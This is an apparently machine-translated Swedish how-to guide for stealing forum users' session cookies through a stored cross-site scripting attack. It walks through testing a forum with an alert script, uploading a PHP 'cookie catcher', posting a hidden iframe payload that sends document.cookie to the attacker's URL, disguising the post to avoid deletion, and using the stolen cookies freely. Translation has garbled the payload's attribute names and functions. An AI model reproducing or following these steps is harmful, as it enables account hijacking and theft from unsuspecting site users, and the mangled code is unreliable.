Ett diskussionsforum är ett bra exempel. Kom ihåg, om sajten inte är sårbar för en skriptattack, så kommer detta inte att fungera. Du kommer att behöva skriva in någon särskild kod i "post" som kommer att fånga data från alla som klickar på den. Du vill testa om systemet filtrerar bort koden. Post <script>window.alert("test") </script>Om en varningsruta visas när du klickar på din post, då webbplatsen är sårbar för angrepp. Målet med denna attack är att fånga en användares cookies, vilket ger dig tillgång till deras konto för webbplatser med sårbara inloggningar. Du behöver en cookie catcher, som kommer att fånga ditt måls cookies och omdirigera dem. Ladda upp catcher till en webbplats som du har tillgång till och som stöder PHP och är sårbar för körning av fjärrkod via uppladdning. Ett exempel på cookie catcher kod kan hittas i urvalsavsnittet. Lägg in en korrekt kod i inlägget som kommer att fånga cookies och skicka dem till din webbplats. Du kommer att vilja lägga i någon text efter koden för att minska misstanke och hålla din post från att raderas. En exempelkod skulle se ut som <iframe frameborder="0" höjd="0" bredd="0" src="javascript...:undvik( document.location='YOUURL/cookie catcher.php?c=' document.cookie)> </iframe> Efter detta kan du använda cookie-informationen, som bör sparas till din webbplats, för vilket ändamål du än behöver.
Hitta en sårbar webbplats där du kan publicera innehåll. Gå till att skapa ett inlägg. Skapa och ladda upp din cookie catcher. Lägg upp med din kakfångare. Använd de insamlade kakorna.